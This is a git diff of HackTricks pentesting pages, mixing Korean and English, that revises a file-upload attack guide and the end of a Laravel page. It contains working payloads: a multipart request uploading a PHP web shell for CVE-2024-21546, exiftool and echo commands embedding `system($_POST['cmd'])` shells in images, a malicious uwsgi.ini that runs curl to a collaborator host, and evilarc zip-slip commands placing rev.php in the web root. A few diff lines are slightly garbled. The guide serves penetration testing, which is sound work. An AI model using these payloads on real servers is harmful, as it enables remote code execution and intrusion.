||||
|
||||
### CVE-2021-3129
|
||||
|
||||
또 다른 역직렬화: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
또 다른 deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
|
||||
|
||||
|
||||
@ -194,5 +239,9 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
## 파일 업로드 일반 방법론
|
||||
|
||||
다음은 유용한 확장자들입니다:
|
||||
다른 유용한 확장자:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **PHPv8에서 작동**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -17,11 +17,11 @@
|
||||
|
||||
### 파일 확장자 검사 우회
|
||||
|
||||
1. 적용된다면, 이전에 언급한 확장자들을 확인하세요. 또한 대문자 조합으로도 테스트해보세요: _pHp, .pHP5, .PhAr ..._
|
||||
2. _실행 확장자 앞에 유효한 확장자를 추가해보세요 (이전 확장자들도 사용):_
|
||||
1. 적용된다면, **이전 확장자들**을 **확인**하세요. 또한 일부 **대문자**를 사용해 테스트하세요: _pHp, .pHP5, .PhAr ..._
|
||||
2. _실행 확장자 앞에 유효한 확장자를 **추가하여 검사하세요** (이전 확장자들도 사용하세요):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. 끝에 **특수 문자**를 추가해보세요. Burp를 사용해 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전에 언급된 확장자들을 함께 시도할 수도 있습니다_)
|
||||
3. 끝에 **특수 문자**를 추가해보세요. Burp를 사용해 모든 **ascii** 및 **Unicode** 문자를 **bruteforce**할 수 있습니다. (_참고: 이전에 언급한 **extensions**도 사용할 수 있습니다_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. 서버 측의 확장자 파서를 속이는 방식으로 방어를 우회해보세요. 예: 확장자를 중복하거나 확장자 사이에 쓰레기 데이터(**null** 바이트 등)를 추가하는 기법. _더 나은 페이로드를 위해 이전 확장자들을 함께 사용할 수도 있습니다._
|
||||
4. 서버 측의 **확장자 파서**를 속여 보호를 우회해보세요. 예: 확장자 **중복** 또는 확장자 사이에 **junk** 데이터(**null** bytes) 추가. _더 나은 페이로드를 위해 **이전 확장자**도 사용할 수 있습니다._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -43,15 +43,15 @@
|
||||
5. 이전 검사에 **추가 확장자 레이어**를 더해보세요:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **실행 확장자**를 유효한 확장자 앞에 두고 서버가 잘못 구성되었기를 기대해보세요. (예: Apache의 잘못된 설정을 이용하면 확장자가 .php를 포함하면 끝나지 않아도 코드가 실행될 수 있습니다):
|
||||
6. 유효한 확장자 앞에 **exec extension**을 넣어보세요(서버가 잘못 구성되어 있을 때 유용). (예: Apache misconfigurations에서는 확장자가 .php인 파일이라면 반드시 .php로 끝나지 않아도 코드가 실행될 수 있습니다):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":"이 삽입됩니다. 결과적으로 서버에 **금지된 확장자를 가진 빈 파일**이 생성될 수 있습니다(예: "file.asax:.jpg"). 이 파일은 나중에 짧은 파일명(short filename) 등을 이용해 편집될 수 있습니다. "**::$data**” 패턴을 사용해 비어있지 않은 파일을 만들 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것은 추가 제한을 우회하는 데 유용할 수 있습니다(예: "file.asp::$data.")
|
||||
8. 파일명 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
|
||||
7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":" 문자가 삽입됩니다. 결과적으로 서버에 **금지된 확장자를 가진 빈 파일**이 생성될 수 있습니다(예: "file.asax:.jpg"). 이 파일은 이후 short filename 같은 기법으로 편집될 수 있습니다. "**::$data**” 패턴은 비어있지 않은 파일을 생성하는 데에도 사용될 수 있습니다. 따라서 이 패턴 뒤에 점을 추가하면 추가 제한을 우회하는 데 유용할 수 있습니다(예: "file.asp::$data.").
|
||||
8. 파일 이름 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,56 +59,85 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Content-Type, Magic Number, Compression 및 Resizing 우회
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
- Content-Type 검사 우회: 요청의 **Content-Type** 헤더 값을 _image/png_, _text/plain_, _application/octet-stream_ 등으로 설정해보세요.
|
||||
일부 업로드 핸들러는 저장된 파일명에서 후행 점 문자를 트리밍하거나 정규화합니다. UniSharp의 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 이전 버전에서는 다음 방식으로 확장자 검증을 우회할 수 있습니다:
|
||||
|
||||
- 유효한 이미지 MIME 및 magic header 사용 (예: PNG의 `\x89PNG\r\n\x1a\n`).
|
||||
- 업로드 파일명을 PHP 확장자 뒤에 점을 붙여서 지정 (예: `shell.php.`).
|
||||
- 서버가 후행 점을 제거하고 `shell.php`로 저장하며, 이것이 웹으로 서비스되는 디렉토리(기본 public storage 예: `/storage/files/`)에 위치하면 실행됩니다.
|
||||
|
||||
간단한 PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||
Content-Type: image/png
|
||||
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
그런 다음 저장된 경로로 접근하세요 (Laravel + LFM에서 일반적):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- 서버 측에서 엄격한 allowlists를 적용하고 저장된 파일명을 재검증하세요.
|
||||
- 업로드 파일은 실행 불가능한 위치에서 서빙하세요.
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Bypass **Content-Type** 검사를 위해 **Content-Type** **header**의 **value**를 다음으로 설정하세요: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **magic number** 검사 우회: 파일 시작 부분에 실제 이미지의 바이트를 추가해 `file` 명령을 혼동시키거나, 셸을 이미지 **메타데이터**에 삽입하세요:\
|
||||
- **magic number** 검사를 우회하려면 파일의 시작 부분에 실제 이미지의 바이트를 추가하세요 (file 명령을 혼동시킵니다). 또는 메타데이터에 백도어를 삽입할 수 있습니다:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
또는 페이로드를 이미지에 직접 삽입할 수도 있습니다:\
|
||||
`\` 또는 이미지를 직접 페이로드로 조작할 수도 있습니다:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- 이미지에 **압축(compression)** 이 적용되는 경우(예: PHP-GD 같은 표준 라이브러리를 사용하는 경우) 위의 기법들이 동작하지 않을 수 있습니다. 이럴 때는 **PLTE chunk** [**기법(링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 통과하는 텍스트를 삽입할 수 있습니다.
|
||||
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- 웹 페이지가 이미지를 **리사이징(resizing)** 할 수도 있습니다(예: PHP-GD의 `imagecopyresized` 또는 `imagecopyresampled` 사용). 이 경우에도 **IDAT chunk** [**기법(링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 압축을 통과하는 텍스트를 삽입할 수 있습니다.
|
||||
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- 이미지 리사이징을 통과하는 또 다른 기법으로 PHP-GD의 `thumbnailImage` 함수를 대응하는 방법이 있습니다. 또는 **tEXt chunk** [**기법(링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 통과하는 텍스트를 삽입할 수 있습니다.
|
||||
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- 만약 이미지에 **압축이 적용되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php) 같은 표준 PHP 라이브러리를 사용할 때는 위 기법들이 통하지 않을 수 있습니다. 그러나 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 이용해 압축을 통과하는 텍스트를 삽입할 수 있습니다.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- 웹 페이지가 `imagecopyresized` 또는 `imagecopyresampled` 같은 PHP-GD 함수를 사용해 **이미지를 리사이징**할 수도 있습니다. 하지만 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 압축을 견디는 텍스트를 삽입할 수 있습니다.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- 또 다른 기법으로 PHP-GD의 `thumbnailImage` 함수를 사용할 때에도 **리사이징을 통과하는** 페이로드를 만들 수 있습니다. 또는 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 이용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### 점검할 기타 트릭
|
||||
### Other Tricks to check
|
||||
|
||||
- 업로드된 파일의 이름을 **rename** 할 수 있는 취약점을 찾아보세요(확장자 변경).
|
||||
- Local File Inclusion 취약점을 찾아 백도어를 실행하세요.
|
||||
- **가능한 정보 유출**:
|
||||
1. 동일한 파일을 **동시에 여러 번** 업로드해보세요(같은 이름으로).
|
||||
2. 이미 존재하는 **파일명** 또는 **폴더명**으로 파일을 업로드해보세요.
|
||||
3. 파일명을 ".", "..", 또는 "…"로 업로드해보세요. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일명은 "/www/" 디렉터리에 "uploads"라는 파일을 생성할 수 있습니다.
|
||||
4. NTFS에서 삭제하기 어려운 파일명(예: "…:.jpg")을 업로드해보세요. (Windows)
|
||||
5. 파일명에 Windows에서 유효하지 않은 문자(`|<>*?”`)를 포함한 파일을 업로드해보세요. (Windows)
|
||||
6. CON, PRN, AUX, NUL, COM1... 등과 같은 예약된(금지된) 이름을 사용해 Windows에 파일을 업로드해보세요.
|
||||
- 실행 가능한 파일(.exe)이나 덜 의심스러운 .html 파일을 업로드해 피해자가 우연히 열었을 때 코드가 실행되도록 해보세요.
|
||||
- 이미 업로드된 파일을 **rename**(확장자 변경)할 수 있는 취약점을 찾아보세요.
|
||||
- 백도어를 실행하기 위한 **Local File Inclusion** 취약점을 찾아보세요.
|
||||
- **Possible Information disclosure**:
|
||||
1. 동일한 이름의 동일한 파일을 **여러 번** (그리고 **동시에**) 업로드해보세요.
|
||||
2. 이미 존재하는 **파일**이나 **폴더**의 **이름**으로 파일을 업로드해보세요.
|
||||
3. 파일 이름을 **"."**, **".."**, 또는 **"…"**로 업로드해보세요. 예를 들어 Apache가 **Windows**에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일명은 "/www/" 디렉터리에 "uploads"라는 파일을 생성할 수 있습니다.
|
||||
4. **NTFS**에서 삭제하기 어려운 파일 이름(예: **"…:.jpg"**)을 업로드해보세요. (Windows)
|
||||
5. **Windows**에서 파일 이름에 `|<>*?”` 같은 유효하지 않은 문자를 포함해 업로드해보세요. (Windows)
|
||||
6. **Windows**에서 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 같은 예약(금지)된 이름으로 파일을 업로드해보세요.
|
||||
- 실수로 피해자가 열었을 때 코드가 실행되는 **실행 파일**(.exe)이나 비교적 덜 의심받는 **.html** 파일을 업로드해보세요.
|
||||
|
||||
### 특수 확장자 트릭
|
||||
### Special extension tricks
|
||||
|
||||
PHP 서버에 파일을 업로드하려는 경우, [코드 실행을 위한 **.htaccess** 트릭을 확인하세요](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
ASP 서버에 업로드하려는 경우, [코드 실행을 위한 **.config** 트릭을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **php 파일처럼 사용**될 수 있습니다(php로 실행하거나 스크립트에 포함하여 사용 가능).
|
||||
|
||||
`.inc` 확장자는 가끔 파일을 **include/import** 하기 위한 php 파일로 사용됩니다. 따라서 어떤 상황에서는 이 확장자가 실행되도록 허용되어 있을 수 있습니다.
|
||||
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, php로 실행하거나 스크립트에 포함해 **php 파일처럼 사용할 수 있습니다** (php로 실행하거나 include 등).
|
||||
`.inc` 확장자는 종종 파일 임포트용 php 파일에 사용되므로, 어떤 경우에는 이 확장자가 실행되도록 허용되어 있을 수 있습니다.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Jetty 서버에 XML 파일을 업로드할 수 있다면 [새로운 \*.xml 및 \*.war가 자동으로 처리되기 때문에 RCE를 얻을 수 있습니다](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 아래 이미지에서 설명된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하면 쉘을 기대할 수 있습니다!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 아래 이미지에서 언급된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하면 쉘을 얻을 수 있습니다!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
이 취약점에 대한 상세한 분석은 원문 연구를 참고하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) 취약점은 `.ini` 설정 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 설정 파일은 "magic" 변수, 플레이스홀더 및 연산자를 포함하는 특정 문법을 사용합니다. 특히 `@(filename)`처럼 사용되는 '@' 연산자는 파일 내용을 포함하도록 설계되어 있습니다. uWSGI가 지원하는 여러 스킴 중에서 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 설정 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read로 악용될 수 있습니다.
|
||||
원격 명령 실행(RCE) 취약점은 `.ini` 설정 파일을 수정할 수 있는 능력이 있을 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더, 연산자를 포함하는 특정 문법을 사용합니다. 특히 `@(filename)`처럼 사용되는 '@' 연산자는 파일 내용을 포함하도록 설계되어 있습니다. uWSGI에서 지원하는 여러 스킴 중에서 "exec" 스킴은 프로세스의 표준 출력에서 데이터를 읽어오는 기능을 제공하여 특히 강력합니다. 이 기능은 `.ini` 구성 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read 같은 악의적 목적에 악용될 수 있습니다.
|
||||
|
||||
다음은 다양한 스킴을 보여주는 악의적인 `uwsgi.ini` 파일 예시를 고려해보세요:
|
||||
다음은 다양한 스킴을 보여주는 악성 `uwsgi.ini` 파일의 예를 고려해보세요:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,15 +155,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
payload의 실행은 구성 파일의 파싱 중에 발생합니다. 구성이 활성화되어 파싱되려면, uWSGI 프로세스는 재시작되어야 합니다(잠재적으로 충돌 후이거나 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어야 합니다. auto-reload 기능이 활성화되어 있으면, 변경을 감지했을 때 지정된 간격으로 파일을 다시 로드합니다.
|
||||
payload의 실행은 설정 파일을 파싱하는 동안 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(잠재적으로 크래시 후 또는 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화되어 있으면 변경을 감지할 때 지정된 간격으로 파일을 다시 로드합니다.
|
||||
|
||||
uWSGI의 구성 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 구체적으로, 논의된 payload는 이미지나 PDF 같은 바이너리 파일에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다.
|
||||
uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 특히, 앞서 논의한 payload는 binary file(예: image나 PDF) 안에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
어떤 경우에는 서버가 **`wget`**으로 **파일을 다운로드**하고 URL을 **지정**할 수 있게 되어 있을 수 있습니다. 이런 경우, 코드가 다운로드되는 파일의 확장자가 허용 목록(whitelist)에 있는지 확인하여 허용된 파일만 다운로드되도록 검사할 수 있습니다. 하지만 **이 검사는 우회될 수 있습니다.**\
|
||||
|
||||
linux에서 **filename**의 **최대** 길이는 **255**이지만, **wget**은 파일명을 **236**자로 잘라버립니다. 예를 들어 **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**하면, 이 파일명은 **검사**를 **우회**할 수 있습니다(이 예에서 **".gif"**는 **유효한** 확장자이기 때문). 그러나 `wget`은 파일명을 **"A"\*232+".php"**로 **이름을 변경**합니다.
|
||||
어떤 경우에는 서버가 **`wget`**을 사용해 **파일을 다운로드**하고 **URL**을 **지정**할 수 있게 되어 있는 것을 발견할 수 있습니다. 이런 경우, 코드가 다운로드된 파일의 확장자가 화이트리스트에 포함되어 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사는 우회될 수 있습니다.**\
|
||||
**linux**에서 **filename**의 **maximum** 길이는 **255**이지만, **wget**은 파일명을 **236**자로 잘라냅니다. 예를 들어, **download a file called "A"\*232+".php"+".gif"**, 이 파일명은 **bypass** the **check**(이 예에서 **".gif"**는 **valid** 확장자이기 때문에), 하지만 `wget`은 파일명을 **"A"\*232+".php"**로 **rename**합니다.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -182,8 +210,8 @@ Some legacy upload handlers that use `snprintf()` or similar to build multi-file
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드해 서버에 **antivirus**가 있는지 확인하세요
|
||||
- 파일 업로드 시 **size limit**가 있는지 확인하세요
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
@ -207,7 +235,7 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
@ -224,20 +252,20 @@ ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 다른 폴더에 압축 해제
|
||||
### 다른 폴더로 압축 해제
|
||||
|
||||
압축 해제 중 디렉터리에 파일이 의도치 않게 생성되는 문제는 심각합니다. 이러한 설정이 악성 파일 업로드를 통한 OS 수준의 명령 실행으로부터 보호한다고 처음에는 가정할 수 있지만, ZIP 아카이브 포맷의 계층적 압축 지원과 디렉터리 트래버설 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제약을 우회하고 안전한 업로드 디렉터리에서 탈출할 수 있습니다.
|
||||
압축 해제 중 디렉터리 내에 파일이 의도치 않게 생성되는 것은 심각한 문제입니다. 이 구성이 악성 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 수 있을 것이라는 초기 가정과는 달리, 계층적 압축 지원과 ZIP 아카이브 형식의 디렉터리 트래버설 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제한을 우회하고 보안 업로드 디렉터리에서 탈출할 수 있습니다.
|
||||
|
||||
이러한 파일을 제작하기 위한 자동화된 exploit는 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용됩니다:
|
||||
이러한 파일을 제작하기 위한 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
또한 **symlink trick with evilarc** 도 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 겨냥하는 것이라면, 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 동작 중 오류를 발생시키지 않도록 보장합니다.
|
||||
또한, **symlink trick with evilarc**도 하나의 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 겨냥하는 것이라면, 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동하는 동안 오류가 발생하지 않습니다.
|
||||
|
||||
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드 예시입니다:
|
||||
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -255,11 +283,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**압축을 악용한 file spraying**
|
||||
**압축 악용을 통한 file spraying**
|
||||
|
||||
자세한 내용은 **원문 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
자세한 내용은 **원본 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
